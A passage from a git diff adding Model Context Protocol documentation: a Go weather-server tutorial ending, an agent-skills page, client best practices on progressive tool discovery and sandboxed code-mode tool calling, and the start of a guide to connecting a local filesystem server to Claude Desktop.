+ },
+ }, nil, nil
+ }
+
+ func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Build alerts URL
+ stateCode := strings.ToUpper(input.State)
+ alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
+
+ alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
+ },
+ }, nil, nil
+ }
+
+ // Check if there are any alerts
+ if len(alertsData.Features) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No active alerts for this state."},
+ },
+ }, nil, nil
+ }
+
+ // Format alerts
+ var alerts []string
+ for _, feature := range alertsData.Features {
+ alerts = append(alerts, formatAlert(feature))
+ }
+
+ result := strings.Join(alerts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```go theme={null}
+ func main() {
+ // Create MCP server
+ server := mcp.NewServer(&mcp.Implementation{
+ Name: "weather",
+ Version: "1.0.0",
+ }, nil)
+
+ // Add get_forecast tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_forecast",
+ Description: "Get weather forecast for a location",
+ }, getForecast)
+
+ // Add get_alerts tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_alerts",
+ Description: "Get weather alerts for a US state",
+ }, getAlerts)
+
+ // Run server on stdio transport
+ if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
+ log.Fatal(err)
+ }
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ go build -o weather .
+ ```
+
+ The compiled binary will be in `./weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2024-11-05/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+### Test with commands
+
+Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
+
+
+
+
+
+After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
+
+
+
+
+
+If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
+
+If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
+
+* What's the weather in Sacramento?
+* What are the active weather alerts in Texas?
+
+
+
+
+
+
+
+
+
+
+ Since this is the US National Weather service, the queries will only work for US locations.
+
+
+## What's happening under the hood
+
+When you ask a question:
+
+1. The client sends your question to Claude
+2. Claude analyzes the available tools and decides which one(s) to use
+3. The client executes the chosen tool(s) through the MCP server
+4. The results are sent back to Claude
+5. Claude formulates a natural language response
+6. The response is displayed to you!
+
+## Troubleshooting
+
+
+
+ **Getting logs from Claude for Desktop**
+
+ Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones:
+
+ ```bash theme={null}
+ # Check Claude's logs for errors
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ **Server not showing up in Claude**
+
+ 1. Check your `claude_desktop_config.json` file syntax
+ 2. Make sure the path to your project is absolute and not relative
+ 3. Restart Claude for Desktop completely
+
+
+ To properly restart Claude for Desktop, you must fully quit the application:
+
+ * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
+ * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
+
+ Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
+
+
+ **Tool calls failing silently**
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude for Desktop
+
+ **None of this is working. What do I do?**
+
+ Please refer to our [debugging guide](/docs/2024-11-05/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ **Error: Failed to retrieve grid point data**
+
+ This usually means either:
+
+ 1. The coordinates are outside the US
+ 2. The NWS API is having issues
+ 3. You're being rate limited
+
+ Fix:
+
+ * Verify you're using US coordinates
+ * Add a small delay between requests
+ * Check the NWS API status page
+
+ **Error: No active alerts for \[STATE]**
+
+ This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
+
+
+
+
+ For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2024-11-05/tools/debugging)
+
+
+## Next steps
+
+
+
+ Learn how to build your own MCP client that can connect to your server
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
+
+ Learn how to effectively debug MCP servers and integrations
+
+
+
+ Use agent skills to guide AI coding assistants through server design
+
+
diff --git a/content/mcp/docs/2024-11-05/develop/build-with-agent-skills.md b/content/mcp/docs/2024-11-05/develop/build-with-agent-skills.md
new file mode 100644
index 000000000..2da37af2d
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/develop/build-with-agent-skills.md
@@ -0,0 +1,102 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build with Agent Skills
+
+> Use agent skills to guide AI coding assistants through MCP server design and implementation
+
+[Agent skills](https://agentskills.io/home) are portable instruction sets that
+give AI coding assistants domain knowledge for a task. For MCP development,
+they encode the design decisions (deployment model, tool patterns, auth) so
+your agent can interrogate your use case and scaffold a server that fits.
+
+## Available skills
+
+A reference set of MCP development skills is available as the
+[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
+It provides three composing skills:
+
+| Skill | Purpose |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
+| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
+| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
+| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
+
+Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
+material (auth flows, tool-design patterns, widget templates, manifest schemas)
+that the agent reads on demand. The files follow the open format and work with
+any agent that implements the standard. For example, to install them in Claude
+Code:
+
+```bash theme={null}
+/plugin marketplace add anthropics/claude-plugins-official
+/plugin install mcp-server-dev
+```
+
+For other agents, check your skills or extensions catalog, or clone the
+[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
+(`SKILL.md` plus `references/`) into your agent's skills location.
+
+## Start a build
+
+With the skills installed, ask your agent to help you build an MCP server. The
+entry skill triggers on natural-language requests, or you can invoke it
+directly using your agent's skill-invocation syntax.
+
+The skill runs a short discovery phase before writing any code. Expect
+questions about:
+
+* **What it connects to** — a cloud API, a local process, the filesystem, hardware
+* **Who will use it** — just you, your team, or anyone who installs it
+* **Action surface size** — a handful of operations versus wrapping a large API
+* **User interaction needs** — plain text results or rich UI widgets
+* **Upstream auth** — API keys, OAuth 2.0, or none
+
+If your opening message already covers these, the agent skips ahead to the
+recommendation.
+
+## Deployment paths
+
+Based on discovery, the skill recommends one of four paths and scaffolds
+accordingly:
+
+**Remote [HTTP with SSE](/specification/2024-11-05/basic/transports#http-with-sse)**
+is the default for anything wrapping a cloud API. Zero install friction, one
+deployment serves all users, and OAuth flows work properly because the server
+can handle redirects and token storage. The reference skill includes scaffolds
+for Cloudflare Workers and portable Express/FastMCP setups.
+
+**[MCP apps](/extensions/apps/overview)** extend a server with interactive
+widgets rendered in chat, such as searchable pickers, charts, and live
+dashboards. The skill hands off to `build-mcp-app` when plain text output
+doesn't fit.
+
+**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
+local server together with its runtime as a single `.mcpb` archive, so users
+can install it without setting up Node or Python. Use this path when the server
+must touch the user's machine: reading local files, driving desktop apps, or
+talking to localhost services. The skill hands off to `build-mcpb`.
+
+**Local [stdio](/specification/2024-11-05/basic/transports#stdio)** remains available
+for prototyping, with a noted upgrade path to MCPB when you're ready to
+distribute.
+
+## Next steps
+
+Once your agent scaffolds the server, iterate on tool descriptions and error
+handling, then test and ship:
+
+
+
+ Test your server's tools, resources, and prompts interactively
+
+
+
+ Wire your server into an MCP client via local or remote configuration
+
+
+
+ Make your server discoverable in the MCP Registry
+
+
diff --git a/content/mcp/docs/2024-11-05/develop/clients/client-best-practices.md b/content/mcp/docs/2024-11-05/develop/clients/client-best-practices.md
new file mode 100644
index 000000000..5b7cac740
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/develop/clients/client-best-practices.md
@@ -0,0 +1,296 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Best Practices
+
+> Patterns for scaling MCP host applications across many servers and tools.
+
+As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
+
+Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
+
+## Progressive Tool Discovery
+
+Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
+
+
+
+Progressive discovery avoids this:
+
+* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
+* The host provides a lightweight `search_tools` meta-tool to the model.
+* The host loads full definitions into context only as needed.
+
+### When to Use Progressive Discovery
+
+Progressive discovery is best used when tool definitions take large parts of the context window. For a small
+set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
+Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
+
+* Implement a threshold as a percentage of the context window. For example, 1%-5%.
+* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
+
+### Choosing a Discovery Strategy
+
+Once the model invokes the `search_tools` tool, we need to choose a search strategy:
+
+* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
+* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
+* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
+* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
+ different strategies depending on use-case or query.
+
+Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
+
+The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
+
+### Using Progressive Discovery
+
+One common implementation for progressive discovery uses a search-based three-layer approach:
+
+**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
+
+```typescript theme={null}
+// The model calls a lightweight search tool
+search_tools({ query: "update salesforce record" })
+
+// Returns concise matches: names and one-line descriptions only
+→ [
+ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
+ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
+ ]
+```
+
+**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, documentation) for that tool only.
+
+```typescript theme={null}
+// The model inspects only the tool it needs
+get_tool_details({ name: "salesforce_updateRecord" });
+```
+
+This returns the complete schema for a single tool:
+
+```json theme={null}
+{
+ "name": "salesforce_updateRecord",
+ "description": "Updates a record in Salesforce",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "objectType": {
+ "type": "string",
+ "description": "Salesforce object type"
+ },
+ "recordId": { "type": "string", "description": "Record ID to update" },
+ "data": { "type": "object", "description": "Fields to update" }
+ },
+ "required": ["objectType", "recordId", "data"]
+ }
+}
+```
+
+**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
+
+This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
+
+### Dynamic Server Management
+
+Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
+
+1. Maintain a registry of available servers and their high-level descriptions.
+2. Connect to a server only when the model determines it needs that server's capabilities.
+3. Disconnect servers that are no longer relevant to the current task, freeing context.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Model
+ participant Host
+ participant Registry
+ participant Server
+
+ Model->>Host: search_available_servers("CRM")
+ Host->>Registry: Query available servers
+ Registry-->>Host: Salesforce server (not connected)
+ Host-->>Model: Salesforce server available
+
+ Model->>Host: enable_server("salesforce")
+ Host->>Server: Initialize connection
+ Server-->>Host: Server capabilities + tools
+ Host-->>Model: Salesforce server connected
+
+ Note over Model: Task complete
+
+ Model->>Host: disable_server("salesforce")
+ Host->>Server: Close connection
+ Host-->>Model: Server disconnected, context freed
+```
+
+This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/2024-11-05/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
+
+### Implementation Guidelines
+
+When implementing progressive discovery:
+
+| Guideline | Rationale |
+| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
+| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
+| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
+| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
+
+### Interaction with Prompt Caching
+
+Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
+definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
+than the definitions you removed. To preserve caching:
+
+* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
+ `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
+ so the array never changes.
+* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
+* Consult your provider's caching documentation alongside the tool-search links above.
+
+## Programmatic Tool Calling / Code Mode
+
+With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
+
+Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
+
+Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
+clients to implement a sandbox environment.
+
+
+
+### How It Works
+
+The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
+
+**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments:
+
+```typescript theme={null}
+// Auto-generated from the Logging MCP server's tool schema
+interface LogEntry {
+ timestamp: string;
+ message: string;
+ level: string;
+}
+
+function logging_getLogs(input: {
+ level: "error" | "warn" | "info";
+ since: number;
+}): Promise<{ entries: LogEntry[] }> {
+ return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
+}
+
+// Auto-generated from the Ticketing MCP server's tool schema
+function ticketing_createIssue(input: {
+ title: string;
+ body?: string;
+ priority: "low" | "medium" | "high";
+}): Promise<{ issueId: string }> {
+ return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
+}
+```
+
+Tool definitions in this protocol version describe tool inputs only. Precise return types (like `LogEntry` above) have to come from server documentation or manual configuration.
+
+When precise return types are unavailable, prefer the simple path:
+
+* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream.
+* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
+
+**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
+
+```typescript theme={null}
+// Model-generated code, executes in sandbox
+const logs = await logging_getLogs({
+ level: "error",
+ since: Date.now() - 3600000,
+});
+
+// Filter and deduplicate inside the sandbox, not in the model's context
+const uniqueErrors = new Map();
+for (const log of logs.entries) {
+ if (!uniqueErrors.has(log.message)) {
+ uniqueErrors.set(log.message, log);
+ }
+}
+
+for (const [message, log] of uniqueErrors) {
+ await ticketing_createIssue({
+ title: `Error: ${message}`,
+ body: `First seen: ${log.timestamp}\nOccurrences: ${
+ logs.entries.filter((l) => l.message === message).length
+ }`,
+ priority: "high",
+ });
+}
+
+console.log(
+ `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
+);
+```
+
+**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
+
+### Choosing a Sandbox
+
+The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
+
+| Sandboxed language | Runtime / Library | Host language | Approach |
+| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
+| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
+| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
+| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
+| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
+
+Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
+
+### Execution Architecture
+
+The implementation has three components:
+
+```mermaid theme={null}
+flowchart LR
+ subgraph Host["MCP Host"]
+ A[LLM] -->|writes code| B[Sandbox]
+ B -->|function call| C[MCP Client]
+ C -->|return value| B
+ B -->|console output| A
+ end
+ C -->|tool call| D[MCP Server A]
+ C -->|tool call| E[MCP Server B]
+ D -->|result| C
+ E -->|result| C
+```
+
+**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
+
+**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
+
+**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
+
+### Security Considerations
+
+Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
+
+* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/2024-11-05/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
+* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
+* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
+* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
+* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
+* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
+
+### Error Handling
+
+MCP tool errors arrive as a successful response with
+[`isError: true`](/specification/2024-11-05/server/tools#error-handling) rather than a transport
+failure. Generated wrappers should convert this into a thrown exception so model-authored code
+can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
+result so the model can self-correct; the model is responsible for reporting any partial side
+effects already committed.
+
+## Combining Both Patterns
+
+Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
diff --git a/content/mcp/docs/2024-11-05/develop/connect-local-servers.md b/content/mcp/docs/2024-11-05/develop/connect-local-servers.md
new file mode 100644
index 000000000..d7ec7ff5b
--- /dev/null
+++ b/content/mcp/docs/2024-11-05/develop/connect-local-servers.md
@@ -0,0 +1,287 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Connect to local MCP servers
+
+> Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
+
+Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
+
+This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
+
+
+
+
+
+## Prerequisites
+
+Before starting this tutorial, ensure you have the following installed on your system:
+
+### Claude Desktop
+
+Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
+
+If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
+
+### Node.js
+
+The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
+
+```bash theme={null}
+node --version
+```
+
+If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
+
+## Understanding MCP Servers
+
+MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
+
+* Reading file contents and directory structures
+* Creating new files and directories
+* Moving and renaming files
+* Searching for files by name or content
+
+All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
+
+## Installing the Filesystem Server
+
+The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
+
+
+
+ Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
+
+ On macOS, this appears in the top menu bar:
+
+
+
+
+
+ This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
+
+
+
+ In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
+
+ Click the "Edit Config" button to open the configuration file:
+
+
+
+
+
+ This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
+
+ * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
+ * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
+
+
+
+ Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
+
+
+ ```json macOS theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/Desktop",
+ "/Users/username/Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "C:\\Users\\username\\Desktop",
+ "C:\\Users\\username\\Downloads"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
+
+
+ **Understanding the Configuration**
+
+ * `"filesystem"`: A friendly name for the server that appears in Claude Desktop
+ * `"command": "npx"`: Uses Node.js's npx tool to run the server
+ * `"-y"`: Automatically confirms the installation of the server package
+ * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
+ * The remaining arguments: Directories the server is allowed to access
+
+
+
+ **Security Consideration**
+
+ Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
+
+
+
+
+ After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
+
+ Upon successful restart, click the "Add files, connectors and more" indicator in the bottom-left corner of the conversation input box:
+
+
+
+
+
+ Click on this indicator, then scroll over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the the Filesystem Server's available tools:
+
+
+
+
+
+ If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
+
+
+
+## Using the Filesystem Server
+
+With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
+
+### File Management Examples
+
+* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
+* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
+* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
+
+### How Approval Works
+
+Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
+
+
+
+
+
+Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
+
+## Troubleshooting
+
+If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
+
+
+
+ 1. Restart Claude Desktop completely
+ 2. Check your `claude_desktop_config.json` file syntax
+ 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
+ 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
+ 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
+
+
+ ```bash macOS/Linux theme={null}
+ npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
+ ```
+
+ ```powershell Windows theme={null}
+ npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
+ ```
+
+
+
+
+ Claude.app logging related to MCP is written to log files in:
+
+ * macOS: `~/Library/Logs/Claude`
+
+ * Windows: `%APPDATA%\Claude\logs`
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
+
+
+ ```bash macOS/Linux theme={null}
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
